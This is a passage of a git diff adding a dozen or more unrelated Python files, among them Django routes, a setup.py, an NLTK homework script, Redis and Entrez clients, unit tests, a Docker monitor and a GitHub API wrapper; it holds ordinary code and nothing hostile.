10245 端口,如不为空请保持和 listen 中的 port 一致 + :param level: (选填|int) - 日志输出等级,默认为 logging.WARNING + """ + super(LoggingSenderHandler, self).__init__(level) + Sender.__init__(self, token, receiver, host, port) + if not name: + import socket + ip = socket.gethostbyname_ex(socket.gethostname())[0] + name = ip + self.name = name + self.setFormatter(logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')) + + def emit(self, record): + self.send('[{0}]\n{1}'.format(self.name, self.format(record))) diff --git a/pool/shard008/Python/0077665_urls.py b/pool/shard008/Python/0077665_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..18a404464cd8bad436a72cfbb3fe7863684928c3 --- /dev/null +++ b/pool/shard008/Python/0077665_urls.py @@ -0,0 +1,36 @@ +from django.conf import settings +from django.conf.urls import include, url +from django.conf.urls.static import static +from django.contrib import admin +from django.views.generic import TemplateView +from django.views import defaults as default_views + +urlpatterns = [ + url(r'^$', TemplateView.as_view(template_name='pages/home.html'), name='home'), + + # Django Admin, use {% url 'admin:index' %} + url(settings.ADMIN_URL, admin.site.urls), + + # User management + url(r'^users/', include('regiohelden.users.urls', namespace='users')), + url(r'^accounts/', include('allauth.urls')), + + # Your stuff: custom urls includes go here + + +] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) + +if settings.DEBUG: + # This allows the error pages to be debugged during development, just visit + # these url in browser to see how these error pages look like. + urlpatterns += [ + url(r'^400/$', default_views.bad_request, kwargs={'exception': Exception('Bad Request!')}), + url(r'^403/$', default_views.permission_denied, kwargs={'exception': Exception('Permission Denied')}), + url(r'^404/$', default_views.page_not_found, kwargs={'exception': Exception('Page not Found')}), + url(r'^500/$', default_views.server_error), + ] + if 'debug_toolbar' in settings.INSTALLED_APPS: + import debug_toolbar + urlpatterns = [ + url(r'^__debug__/', include(debug_toolbar.urls)), + ] + urlpatterns diff --git a/pool/shard008/Python/0077666_setup.py b/pool/shard008/Python/0077666_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..b975e0ddd58a743d0c636af735fd21141fbcfbd9 --- /dev/null +++ b/pool/shard008/Python/0077666_setup.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from setuptools import find_packages +try: + from setuptools import setup +except ImportError: + from distutils.core import setup + + +with open('README.rst') as readme_file: + readme = readme_file.read() + +with open('HISTORY.rst') as history_file: + history = history_file.read() + +requirements = open('requirements_base.txt', 'r').readlines() + +test_requirements = open('requirements_testing.txt', 'r').readlines() + +setup( + name='pydrill', + version='0.3.4', + description="Python Driver for Apache Drill.", + long_description=readme + '\n\n' + history, + author="Wojciech Nowak", + author_email='mail@pythonic.ninja', + url='https://github.com/PythonicNinja/pydrill', + packages=find_packages( + where='.', + exclude=('test_*', ) + ), + include_package_data=True, + install_requires=requirements, + license="MIT", + zip_safe=False, + keywords='pydrill', + classifiers=[ + 'Development Status :: 2 - Pre-Alpha', + 'Intended Audience :: Developers', + 'License :: OSI Approved :: MIT License', + 'Natural Language :: English', + "Programming Language :: Python :: 2", + 'Programming Language :: Python :: 2.6', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 3', + 'Programming Language :: Python :: 3.3', + 'Programming Language :: Python :: 3.4', + 'Programming Language :: Python :: 3.5', + 'Programming Language :: Python :: 3.6', + ], + test_suite='tests', + tests_require=test_requirements +) diff --git a/pool/shard008/Python/0077667_1155002613_hw1.py b/pool/shard008/Python/0077667_1155002613_hw1.py new file mode 100644 index 0000000000000000000000000000000000000000..4712d12c7f108b367783b4138ba09c68b2e0a20d --- /dev/null +++ b/pool/shard008/Python/0077667_1155002613_hw1.py @@ -0,0 +1,95 @@ +#!/usr/bin/python +""" +File: main.py +Author: Mond Wan (1155002613) +Email: mondwan.1015@gmail.com +Description: Homework1 main application +""" + + +import os +import sys + +import nltk +from nltk.util import ngrams +from nltk.collocations import BigramCollocationFinder +# from nltk.probability import FreqDist + +# Figure out the path for the input file +try: + INPUT_FEED = sys.argv[1] +except IndexError: + INPUT_FEED = os.path.join('.', 'input.txt') + +# Read the input file +with open(INPUT_FEED, 'r') as f: + INPUT_LINES = ''.join(f.readlines()) + +# Initialize nltk library +REQUIRED_MODULES = ['punkt'] +for m in REQUIRED_MODULES: + nltk.download(m) + +# Parse and update data from input file as stated in the assignments +tokens = [ + word.lower() for word in nltk.tokenize.word_tokenize(INPUT_LINES) + if word not in [',', '.'] +] + +# Bigram collocation +bigram_scores = [] +unigram_scores = [] +bc = BigramCollocationFinder.from_words(tokens) +bc_freq = bc.ngram_fd +uc_freq = bc.word_fd +N = uc_freq.N() + +# Calculate the probability for unigram +for gram in uc_freq.items(): + val = float(uc_freq[gram[0]]) / N + unigram_scores.append({ + 'words': gram[0], + 'score': round(val, 2) + }) + +# Calculate the probability for bigram +for gram in ngrams(tokens, 2): + w1 = gram[0] + w2 = gram[1] + n_ii = bc_freq[(w1, w2)] / (bc.window_size - 1.0) + n_ix = uc_freq[w1] + bigram_scores.append({ + 'words': '%s %s' % (w1, w2), + 'score': round( + n_ii / n_ix, + 2 + ), + }) + +# Sort by alphabetical and scores and order in descending order +unigram_scores = sorted( + sorted(unigram_scores, key=lambda s: s['words']), + key=lambda s: s['score'], + reverse=True +) + +bigram_scores = sorted( + sorted(bigram_scores, key=lambda s: s['words']), + key=lambda s: s['score'], + reverse=True +) + +lines = [] +lines.append('Uni-gram:') +for score in unigram_scores[0:5]: + lines.append('%.2f: %s' % (score['score'], score['words'])) + +lines.append('') + +lines.append('Bi-gram:') +for score in bigram_scores[0:5]: + lines.append('%.2f: %s' % (score['score'], score['words'])) + +with open(os.path.join('.', 'output.txt'), 'w') as f: + f.write('\n'.join(lines)) + f.write('\n') diff --git a/pool/shard008/Python/0077670_redis_cli.py b/pool/shard008/Python/0077670_redis_cli.py new file mode 100644 index 0000000000000000000000000000000000000000..a3ce06ada35aadcf3d789b02e398e46c3a614d30 --- /dev/null +++ b/pool/shard008/Python/0077670_redis_cli.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python +# -*- coding:utf-8 -*- + +import redis +pool = redis.ConnectionPool(host='10.0.4.45') +r = redis.Redis(connection_pool=pool) +#r.delete("uv_count") +r.setbit("uv_count",5,1) +r.setbit("uv_count",8,1) +r.setbit("uv_count",3,1) +r.setbit("uv_count",3,1) +r.setbit("uv_count",5,1) +r.setbit("uv_count",15,1) +print("uv count:",r.bitcount("uv_count")) + + +n ="371" +r.set('t',n) +for i in n: + print(i,ord(i),bin(ord(i))) + +r.setbit("t",4,1) +print("res:",r.get("t")) +''' +r.set("id","3") +#00000011 +r.setbit("id",1,bin(1)) +print(r.getbit("id",6) ) +print(r.get("id")) +#r.setrange("id",3,"AAA") +#print(r.getrange("id", 0,-1)) +''' + diff --git a/pool/shard008/Python/0077672_test_killproc.py b/pool/shard008/Python/0077672_test_killproc.py new file mode 100644 index 0000000000000000000000000000000000000000..b0d6e2f51531e0b6aa03b17687451a935bc1244f --- /dev/null +++ b/pool/shard008/Python/0077672_test_killproc.py @@ -0,0 +1,18 @@ +import pytest +import sys +import py + + +@pytest.mark.skipif("sys.platform.startswith('java')") +def test_kill(tmpdir): + subprocess = pytest.importorskip("subprocess") + t = tmpdir.join("t.py") + t.write("import time ; time.sleep(100)") + proc = subprocess.Popen([sys.executable, str(t)]) + assert proc.poll() is None # no return value yet + py.process.kill(proc.pid) + ret = proc.wait() + if sys.platform == "win32" and ret == 0: + pytest.skip("XXX on win32, subprocess.Popen().wait() on a killed " + "process does not yield return value != 0") + assert ret != 0 diff --git a/pool/shard008/Python/0077673_factories.py b/pool/shard008/Python/0077673_factories.py new file mode 100644 index 0000000000000000000000000000000000000000..82c95e25356581bb491b8c609ade03b9b47c2301 --- /dev/null +++ b/pool/shard008/Python/0077673_factories.py @@ -0,0 +1,61 @@ +from __future__ import division + +import numpy as np + +from democritus import utils +from democritus.types import BivariateFunction, SenderStrategy, ReceiverStrategy, WCSMunsellPalette, \ + WCSMunsellSenderStrategy, WCSMunsellReceiverStrategy + + +class BivariateFunctionFactory(object): + @staticmethod + def create_identity(size): + return BivariateFunction(np.identity(size)) + + @staticmethod + def create_nosofsky(distances, decay): + return BivariateFunction(np.exp(-(distances ** 2) / (decay ** 2))) + + @staticmethod + def read_from_file(file_name): + return BivariateFunction(np.loadtxt(file_name, delimiter=',')) + + +class SenderStrategyFactory(object): + @staticmethod + def create_random(states, messages): + values = utils.make_row_stochastic(np.random.random((states.size(), messages.size()))) + if isinstance(states, WCSMunsellPalette): + sender_strategy = WCSMunsellSenderStrategy(states, messages, values) + else: + sender_strategy = SenderStrategy(states, messages, values) + return sender_strategy + + @staticmethod + def create_zeros(states, messages): + values = np.zeros((states.size(), messages.size())) + if isinstance(states, WCSMunsellPalette): + sender_strategy = WCSMunsellSenderStrategy(states, messages, values) + else: + sender_strategy = SenderStrategy(states, messages, values) + return sender_strategy + + +class ReceiverStrategyFactory(object): + @staticmethod + def create_random(messages, actions): + values = utils.make_row_stochastic(np.random.random((messages.size(), actions.size()))) + if isinstance(actions, WCSMunsellPalette): + receiver_strategy = WCSMunsellReceiverStrategy(messages, actions, values) + else: + receiver_strategy = ReceiverStrategy(messages, actions, values) + return receiver_strategy + + @staticmethod + def create_zeros(messages, actions): + values = np.zeros((messages.size(), actions.size())) + if isinstance(actions, WCSMunsellPalette): + receiver_strategy = WCSMunsellReceiverStrategy(messages, actions, values) + else: + receiver_strategy = ReceiverStrategy(messages, actions, values) + return receiver_strategy diff --git a/pool/shard008/Python/0077674_EDL.py b/pool/shard008/Python/0077674_EDL.py new file mode 100644 index 0000000000000000000000000000000000000000..358366972ac8477c9a58b5b47e9edfd5a6880296 --- /dev/null +++ b/pool/shard008/Python/0077674_EDL.py @@ -0,0 +1,133 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +# Copyright 2010 British Broadcasting Corporation and Kamaelia Contributors(1) +# +# (1) Kamaelia Contributors are listed in the AUTHORS file and at +# http://www.kamaelia.org/AUTHORS - please extend this file, +# not this notice. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from Axon.Component import component +from Axon.Ipc import WaitComplete +from Axon.Ipc import producerFinished, shutdownMicroprocess + +def contains(items,container): + for item in items: + if not container.has_key(item): + return False + return True + + + +class EDLParser(component): + """\ + Parse output from SAX parser into EDL items + """ + + def shutdown(self): + while self.dataReady("control"): + msg = self.recv("control") + if isinstance(msg, (producerFinished, shutdownMicroprocess)): + self.send(msg,"signal") + return True + return False + + def main(self): + self.token = ["",] + parser = self.parse() + + try: + while 1: + while self.dataReady("inbox"): + self.token = self.recv("inbox") + output = parser.next() + if output != None: + self.send(output,"outbox") + yield 1 + + if self.shutdown(): + return + + self.pause() + yield 1 + + except StopIteration: + self.send(producerFinished(), "signal") + + + + def parse(self): + + while not self.ifIs("element","EDL"): + yield None + + while 1: + yield None + if self.ifIs("chars"): + pass + elif self.ifIs("element","FileID"): + fileID = "" + while not self.ifIs("/element","FileID"): + yield None + if self.ifIs("chars"): + fileID += self.token[1] + fileID = fileID.replace("\n","").strip() + yield None + + elif self.ifIs("element","Edit"): + edit = {"fileID":fileID} + while not self.ifIs("/element","Edit"): + yield None + if self.ifIs("element","Start"): + attrs = self.token[2] + edit["start"] = int(attrs["frame"]) + elif self.ifIs("element","End"): + attrs = self.token[2] + edit["end"] = int(attrs["frame"]) + elif self.ifIs("element","Crop"): + attrs = self.token[2] + #assert( contains(("x1","y1","x2","y2"), attrs) ) + edit["left"] = int(attrs["x1"]) + edit["top"] = int(attrs["y1"]) + edit["right"] = int(attrs["x2"]) + edit["bottom"] = int(attrs["y2"]) + + elif self.ifIs("chars"): + pass + #assert( contains["start","end","left","top","right","bottom"], edit) + yield edit + + elif self.ifIs("/element","EDL"): + return + + def ifIs(self,*args): + return self.token[:len(args)] == args + + +if __name__ == "__main__": + from Kamaelia.Chassis.Pipeline import Pipeline + from Kamaelia.Chassis.Graphline import Graphline + from Kamaelia.Util.Console import ConsoleEchoer + from XMLParser import XMLParser + + from Kamaelia.File.Reading import RateControlledFileReader + + Pipeline( + RateControlledFileReader("TestEDL.xml",readmode="lines",rate=1000000), + XMLParser(), + EDLParser(), + ConsoleEchoer(), + ).run() + diff --git a/pool/shard008/Python/0077677_import_issues.py b/pool/shard008/Python/0077677_import_issues.py new file mode 100644 index 0000000000000000000000000000000000000000..6e02816a719745fe7cbc8cb987f30841db73339d --- /dev/null +++ b/pool/shard008/Python/0077677_import_issues.py @@ -0,0 +1,125 @@ +import logging + +from django.core.management.base import BaseCommand +from erudit.models.core import Author, Journal, Issue, Article + +log = logging.getLogger(__name__) + + +class Command(BaseCommand): + + help = """Importissues from edinum""" + + def handle(self, *args, **options): + + for journal in Journal.objects.all(): + self.import_journal(journal) + + def import_journal(self, journal): + try: + print("=" * 50) + print("Importing {}".format(journal.localidentifier)) + print("=" * 50) + journal_object = journal.get_fedora_object() + + publications = journal_object.getDatastreamObject('PUBLICATIONS') + + issues = publications.content.node.findall('.//numero') + + for issue_xml in issues: + self.import_issue(issue_xml) + + except Exception: + log.error('Journal with code "{}" does not exist'.format( + journal.localidentifier + )) + + def import_issue(self, issue_xml): + domain, journal_pid, issue_pid = issue_xml.get('pid').split('.') + try: + journal = Journal.objects.get(localidentifier=journal_pid) + issue = Issue( + journal=journal, + localidentifier=issue_pid + ) + fedora_object = issue.get_fedora_object() + summary = fedora_object.getDatastreamObject('SUMMARY') + issue.year = summary.content.node.find('.//annee').text + volume = summary.content.node.find('.//numero/volume') + if volume is not None: + issue.volume = volume.text + + number = summary.content.node.find('.//nonumero') + if number is not None: + issue.number = number.text + issue.title = summary.content.node.find('.//liminaire//titre').text + + date_produced = summary.content.node.find('.//originator') + + date_published = summary.content.node.find('.//pubnum/date') + if date_published is not None: + issue.date_published = date_published.text + if date_produced is not None: + issue.date_produced = date_produced.get('date') + elif date_published is not None: + issue.date_produced = date_published.text + + issue.save() + print("Imported {}".format( + issue.get_full_identifier() + )) + + for article_xml in summary.content.node.findall('.//article'): + + id_article = article_xml.get('idproprio') + processing = article_xml.get('qualtraitement') + + if processing == 'minimal': + processing = 'M' + elif processing == 'complet': + processing = 'C' + elif processing == '': + processing = 'M' + else: + raise ValueError() + + article = Article( + issue=issue, + localidentifier=id_article, + processing=processing, + ) + + title = article_xml.find('.//liminaire//titre') + + if title is not None: + article.title = title.text + surtitle = article_xml.find('.//liminaire//surtitre') + if surtitle is not None: + article.surtitle = surtitle.text + + article.save() + + for author_xml in article_xml.findall('.//liminaire//grauteur//auteur'): + firstname_xml = author_xml.find('.//nompers/prenom') + firstname = firstname_xml.text if firstname_xml is not None else None + lastname_xml = author_xml.find('.//nompers/nomfamille') + lastname = lastname_xml.text if lastname_xml is not None else None + suffix_xml = author_xml.find('.//nompers/suffixe') + suffix = suffix_xml.text if suffix_xml is not None else None + + author, dummy = Author.objects.get_or_create( + firstname=firstname, lastname=lastname) + author.suffix = suffix + author.save() + + article.authors.add(author) + + print("* Imported {}".format( + article.get_full_identifier() + )) + + except Exception as e: + print("Cannot import {}: {}".format( + issue.get_full_identifier(), + e + )) diff --git a/pool/shard008/Python/0077682_pyunit_binop2_amp.py b/pool/shard008/Python/0077682_pyunit_binop2_amp.py new file mode 100644 index 0000000000000000000000000000000000000000..28e701b9080ba04cfd516dbd02daba292a8d1c0f --- /dev/null +++ b/pool/shard008/Python/0077682_pyunit_binop2_amp.py @@ -0,0 +1,116 @@ +from builtins import range +import sys +sys.path.insert(1,"../../../") +import h2o +from tests import pyunit_utils + + + + +def binop_amp(): + + + + iris = h2o.import_file(path=pyunit_utils.locate("smalldata/iris/iris_wheader_65_rows.csv")) + rows, cols = iris.dim + + ################################################################### + + # LHS: scaler, RHS: H2OFrame + # amp_res = 5 & iris + # amp_rows, amp_cols = amp_res.dim + # assert amp_rows == rows and amp_cols == cols, "dimension mismatch" + + # LHS: scaler, RHS: H2OVec + # amp_res = 1 & iris[1] + # amp_rows = amp_res.nrow + # assert amp_rows == rows, "dimension mismatch" + # new_rows = iris[amp_res].nrow + # assert new_rows == rows, "wrong number of rows returned" + + ################################################################### + + # # LHS: scaler, RHS: H2OFrame + # res = 1.2 + iris[2] + # res2 = res[11,:] & iris + # res2.show() + # + # # LHS: scaler, RHS: H2OVec + # res = 1.2 + iris[2] + # res2 = res[43,:] & iris[1] + # res2.show() + + ################################################################### + + # LHS: H2OVec, RHS: H2OFrame + #try: + # res = iris[2] & iris + # res.show() + # assert False, "expected error. objects with different dimensions not supported." + #except EnvironmentError: + # pass + + # LHS: H2OVec, RHS: H2OVec + res = iris[0] & iris[1] + assert res.sum() == 65.0, "expected all True" + + res = iris[2] & iris[1] + assert res.sum() == 65.0, "expected all True" + + # LHS: H2OVec, RHS: H2OVec + res = 1.2 + iris[2] + res2 = iris[1,:] & res[7,:].flatten() + res2.show() + + # # LHS: H2OVec, RHS: scaler + # res = iris[0] & 0 + # assert res.sum() == 0.0, "expected all False" + + ################################################################### + + # LHS: H2OFrame, RHS: H2OFrame + res = iris & iris + res_rows, res_cols = res.dim + assert res_rows == rows and res_cols == cols, "dimension mismatch" + + res = iris[0:2] & iris[1:3] + res_rows, res_cols = res.dim + assert res_rows == rows and res_cols == 2, "dimension mismatch" + + #try: + # res = iris & iris[0:3] + # res.show() + # assert False, "expected error. frames are different dimensions." + #except EnvironmentError: + # pass + + # LHS: H2OFrame, RHS: H2OVec + #try: + # res = iris & iris[0] + # res.show() + # assert False, "expected error. objects of different dimensions not supported." + #except EnvironmentError: + # pass + + # LHS: H2OFrame, RHS: scaler + # res = 1.2 + iris[2] + # res2 = iris & res[55,:] + # res2.show() + + # LHS: H2OFrame, RHS: scaler + res = iris & 0 + res_rows, res_cols = res.dim + assert res_rows == rows and res_cols == cols, "dimension mismatch" + for c in range(cols-1): + for r in range(rows): + assert res[r,c] == 0.0, "expected False" + + ################################################################### + + + + +if __name__ == "__main__": + pyunit_utils.standalone_test(binop_amp) +else: + binop_amp() diff --git a/pool/shard008/Python/0077685_entrez_interface.py b/pool/shard008/Python/0077685_entrez_interface.py new file mode 100644 index 0000000000000000000000000000000000000000..3b2439b0607c3a095a94a4acd91fb6c276e7f2d6 --- /dev/null +++ b/pool/shard008/Python/0077685_entrez_interface.py @@ -0,0 +1,81 @@ +#! /usr/bin/python3 + +import urllib.request +import urllib.parse +import re +import xml.etree.ElementTree as et +import sys +import time +from lib.lineage import Lineage + +def BASE_URL(): + return('http://eutils.ncbi.nlm.nih.gov/entrez/eutils/{}.fcgi') + + +# ================== +# EXPORTED FUNCTIONS +# ================== + +def sciname2taxid(name): + val = {'db': 'taxonomy', 'term': name} + xml = _query('esearch', val) + taxid = _simple_search('Id', xml) + return(taxid) + +def taxid2lineage(taxids): + if(not isinstance(taxids, (list, tuple))): + taxids = (taxids, ) + val = {'db' : 'taxonomy', 'id' : ','.join(map(str, taxids)), + 'rettype' : 'xml', 'retmode' : 'text'} + xml = _query('efetch', val) + root = et.fromstring(xml) + out = [] + for taxon in root.findall('./Taxon'): + taxid = taxon.find('TaxId').text + name = taxon.find('ScientificName').text + lineage = [] + for ancestor in taxon.findall('./LineageEx/'): + ataxid = ancestor.find('TaxId').text + aname = ancestor.find('ScientificName').text + lineage.append((ataxid, aname)) + lin_obj = Lineage(taxid, name, lineage) + out.append(lin_obj) + return(out) + +def taxid2sciname(taxid): + xml = _query('efetch', {'db': 'taxonomy', 'id': taxid}) + sciname = _simple_search('ScientificName', xml) + return(sciname) + + +# ================= +# UTILITY FUNCTIONS +# ================= + +def _query(cmd, val): + url = BASE_URL().format(cmd) + arg = urllib.parse.urlencode(val) + arg = arg.encode('ascii') + req = urllib.request.Request(url, arg) + try: + # In order to comply with ENTREZ policy + time.sleep(1) + f = urllib.request.urlopen(req) + except: + print("Failed to retrieve data from entrez", file=sys.stderr) + sys.exit(1) + body = f.read().decode('ascii') + return(body) + +def _simple_search(tag, xml): + """ Returns the string bound by the first appearance of a tag, this may + be an XML + """ + + xml = re.sub("\n", " ", xml) + m = re.search(r"<{0}>\s*(.*?)\s*<\/{0}>".format(tag), xml) + try: + text = m.group(1) + except: + text = None + return(text) diff --git a/pool/shard008/Python/0077689_postgres_test.py b/pool/shard008/Python/0077689_postgres_test.py new file mode 100644 index 0000000000000000000000000000000000000000..a051e495a33881e05fc235b6db13d8b5911553ef --- /dev/null +++ b/pool/shard008/Python/0077689_postgres_test.py @@ -0,0 +1,89 @@ +# -*- coding: utf-8 -*- + +import re +import unittest + +from trac.db import Table, Column, Index +from trac.db.postgres_backend import PostgreSQLConnector +from trac.test import EnvironmentStub + + +class PostgresTableCreationSQLTest(unittest.TestCase): + def setUp(self): + self.env = EnvironmentStub() + self.db = self.env.get_db_cnx() + + def _unroll_generator(self, generator): + items = [] + for item in generator: + items.append(item) + return items + + def _normalize_sql(self, sql_generator): + normalized_commands = [] + whitespace_regex = re.compile(r'\s+') + commands = self._unroll_generator(sql_generator) + for command in commands: + command = command.replace('\n', '') + command = whitespace_regex.sub(' ', command) + normalized_commands.append(command) + return normalized_commands + + def test_quote_table_name(self): + table = Table('foo bar') + table[Column('name'),] + sql_generator = PostgreSQLConnector(self.env).to_sql(table) + sql_commands = self._normalize_sql(sql_generator) + self.assertEqual(1, len(sql_commands)) + self.assertEqual('CREATE TABLE "foo bar" ( "name" text)', + sql_commands[0]) + + def test_quote_column_names(self): + table = Table('foo') + table[Column('my name'),] + sql_generator = PostgreSQLConnector(self.env).to_sql(table) + sql_commands = self._normalize_sql(sql_generator) + self.assertEqual(1, len(sql_commands)) + self.assertEqual('CREATE TABLE "foo" ( "my name" text)', + sql_commands[0]) + + def test_quote_compound_primary_key_declaration(self): + table = Table('foo bar', key=['my name', 'your name']) + table[Column('my name'), Column('your name'),] + sql_generator = PostgreSQLConnector(self.env).to_sql(table) + sql_commands = self._normalize_sql(sql_generator) + self.assertEqual(1, len(sql_commands)) + expected_sql = 'CREATE TABLE "foo bar" ( "my name" text, ' + \ + '"your name" text, CONSTRAINT "foo bar_pk" ' +\ + 'PRIMARY KEY ("my name","your name"))' + self.assertEqual(expected_sql, sql_commands[0]) + + def test_quote_index_declaration(self): + table = Table('foo') + table[Column('my name'), Index(['my name'])] + sql_generator = PostgreSQLConnector(self.env).to_sql(table) + sql_commands = self._normalize_sql(sql_generator) + self.assertEqual(2, len(sql_commands)) + self.assertEqual('CREATE TABLE "foo" ( "my name" text)', + sql_commands[0]) + index_sql = 'CREATE INDEX "foo_my name_idx" ON "foo" ("my name")' + self.assertEqual(index_sql, sql_commands[1]) + + def test_quote_index_declaration_for_multiple_indexes(self): + table = Table('foo') + table[Column('a'), Column('b'), + Index(['a', 'b'])] + sql_generator = PostgreSQLConnector(self.env).to_sql(table) + sql_commands = self._normalize_sql(sql_generator) + self.assertEqual(2, len(sql_commands)) + self.assertEqual('CREATE TABLE "foo" ( "a" text, "b" text)', + sql_commands[0]) + index_sql = 'CREATE INDEX "foo_a_b_idx" ON "foo" ("a","b")' + self.assertEqual(index_sql, sql_commands[1]) + + +def suite(): + return unittest.makeSuite(PostgresTableCreationSQLTest, 'test') + +if __name__ == '__main__': + unittest.main(defaultTest='suite') diff --git a/pool/shard008/Python/0077692_dockermanager.py b/pool/shard008/Python/0077692_dockermanager.py new file mode 100644 index 0000000000000000000000000000000000000000..a0778b2a2256b27867a1b775207ddc49301e9060 --- /dev/null +++ b/pool/shard008/Python/0077692_dockermanager.py @@ -0,0 +1,144 @@ +#!/usr/bin/env python +import json +import time +import sys +try: + from docker import Client +except ImportError: + Client = None + +from kunai.stats import STATS +from kunai.log import logger +from kunai.threadmgr import threader +from kunai.now import NOW +from kunai.httpdaemon import route, response + + +def lower_dict(d): + nd = {} + for k,v in d.iteritems(): + nk = k.lower() + if isinstance(v, dict): # yes, it's recursive :) + v = lower_dict(v) + nd[nk] = v + return nd + + +class DockerManager(object): + def __init__(self): + self.con = None + self.containers = {} + # We got an object, we can fill the http daemon part + self.export_http() + + + def launch(self): + if not Client: + logger.warning('Missing docker lib') + return + t = threader.create_and_launch(self.do_loop, name='docker-loop') + + + def connect(self): + if not self.con: + try: + self.con = Client(base_url='unix://var/run/docker.sock') + except Exception, exp: + logger.debug('Cannot connect to docker %s' % exp) + self.con = None + + + def load_container(self, _id): + inspect = self.con.inspect_container(_id) + c = lower_dict(inspect) + logger.debug('LOADED NEW CONTAINER %s' % c) + self.containers[_id] = c + + + def load_containers(self): + if not self.con: + return + conts = self.con.containers() + for c in conts: + _id = c.get('Id') + self.load_container(_id) + print "Container", self.containers[_id] + + + def do_loop(self): + self.connect() + self.load_containers() + while True: + self.connect() + if not self.con: + time.sleep(1) # do not hammer the connexion + continue + # now manage events and lock on it + evts = self.con.events() # can lock here + for ev in evts: + evdata = json.loads(ev) + _id = evdata["id"] + status = evdata["status"] + if status in ("die", "stop"): + if _id in self.containers: + logger.debug('removing a container %s' % _id) + del self.containers[_id] + else: + logger.error('Asking to remove an unknow container? %s' % _id) + elif status == 'start': + self.load_container(_id) + else: + logger.debug('UNKNOWN EVENT IN DOCKER %s' % status) + + + # main method to export http interface. Must be in a method that got + # a self entry + def export_http(self): + + @route('/docker/') + @route('/docker') + def get_docker(): + response.content_type = 'application/json' + return json.dumps(self.con is not None) + + + @route('/docker/containers') + @route('/docker/containers/') + def get_containers(): + response.content_type = 'application/json' + return json.dumps(self.containers.values()) + + + @route('/docker/containers/:_id') + def get_container(_id): + response.content_type = 'application/json' + cont = self.containers.get(_id, None) + return json.dumps(cont) + + + @route('/docker/images') + @route('/docker/images/') + def get_images(): + response.content_type = 'application/json' + if self.con is None: + return json.dumps(None) + imgs = self.con.images() + r = [lower_dict(d) for d in imgs] + return json.dumps(r) + + + @route('/docker/images/:_id') + def get_images(_id): + response.content_type = 'application/json' + if self.con is None: + return json.dumps(None) + imgs = self.con.images() + for d in imgs: + if d['Id'] == _id: + return json.dumps(lower_dict(d)) + return json.dumps(None) + + + +dockermgr = DockerManager() + diff --git a/pool/shard008/Python/0077697_connection.py b/pool/shard008/Python/0077697_connection.py new file mode 100644 index 0000000000000000000000000000000000000000..12db2ad608f3d4bec1a983638eec71780a9a8ee6 --- /dev/null +++ b/pool/shard008/Python/0077697_connection.py @@ -0,0 +1,75 @@ +# Copyright (c) 2013 Alon Swartz +# +# This file is part of OctoHub. +# +# OctoHub is free software; you can redistribute it and/or modify it under the +# terms of the GNU General Public License as published by the Free Software +# Foundation; either version 3 of the License, or (at your option) any later +# version. + +import requests + +from . import __useragent__ +from .response import parse_response + +class Pager(object): + def __init__(self, conn, uri, params, max_pages=0): + """Iterator object handling pagination of Connection.send (method: GET) + conn (octohub.Connection): Connection object + uri (str): Request URI (e.g., /user/issues) + params (dict): Parameters to include in request + max_pages (int): Maximum amount of pages to get (0 for all) + """ + self.conn = conn + self.uri = uri + self.params = params + self.max_pages = max_pages + self.count = 0 + + def __iter__(self): + while True: + self.count += 1 + response = self.conn.send('GET', self.uri, self.params) + yield response + + if self.count == self.max_pages: + break + + if not 'next' in response.parsed_link.keys(): + break + + # Parsed link is absolute. Connection wants a relative link, + # so remove protocol and GitHub endpoint for the pagination URI. + m = re.match(self.conn.endpoint + '(.*)', response.parsed_link.next.uri) + self.uri = m.groups()[0] + self.params = response.parsed_link.next.params + +class Connection(object): + def __init__(self, token=None): + """OctoHub connection + token (str): GitHub Token (anonymous if not provided) + """ + self.endpoint = 'https://api.github.com' + self.headers = {'User-Agent': __useragent__} + + if token: + self.headers['Authorization'] = 'token %s' % token + + def send(self, method, uri, params={}, data=None): + """Prepare and send request + method (str): Request HTTP method (e.g., GET, POST, DELETE, ...) + uri (str): Request URI (e.g., /user/issues) + params (dict): Parameters to include in request + data (str | file type object): data to include in request + + returns: requests.Response object, including: + response.parsed (AttrDict): parsed response when applicable + response.parsed_link (AttrDict): parsed header link when applicable + http://docs.python-requests.org/en/latest/api/#requests.Response + """ + url = self.endpoint + uri + kwargs = {'headers': self.headers, 'params': params, 'data': data} + response = requests.request(method, url, **kwargs) + + return parse_response(response) + diff --git a/pool/shard008/Python/0077701_test_verify_boilerplate.py b/pool/shard008/Python/0077701_test_verify_boilerplate.py new file mode 100644 index 0000000000000000000000000000000000000000..22a3cca05549b633e6096dffc006804f87c156ab --- /dev/null +++ b/pool/shard008/Python/0077701_test_verify_boilerplate.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python3 + +# Copyright 2018 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +''' A simple test for the verify_boilerplate python script. +This will create a set of test files, both valid and invalid, +and confirm that the has_valid_header call returns the correct +value. + +It also checks the number of files that are found by the +get_files call. +''' +from copy import deepcopy +from tempfile import mkdtemp +from shutil import rmtree +import unittest +from verify_boilerplate import has_valid_header, get_refs, get_regexs, \ + get_args, get_files + + +class AllTestCase(unittest.TestCase): + """ + All of the setup, teardown, and tests are contained in this + class. + """ + + def write_file(self, filename, content, expected): + """ + A utility method that creates test files, and adds them to + the cases that will be tested. + + Args: + filename: (string) the file name (path) to be created. + content: (list of strings) the contents of the file. + expected: (boolean) True if the header is expected to be 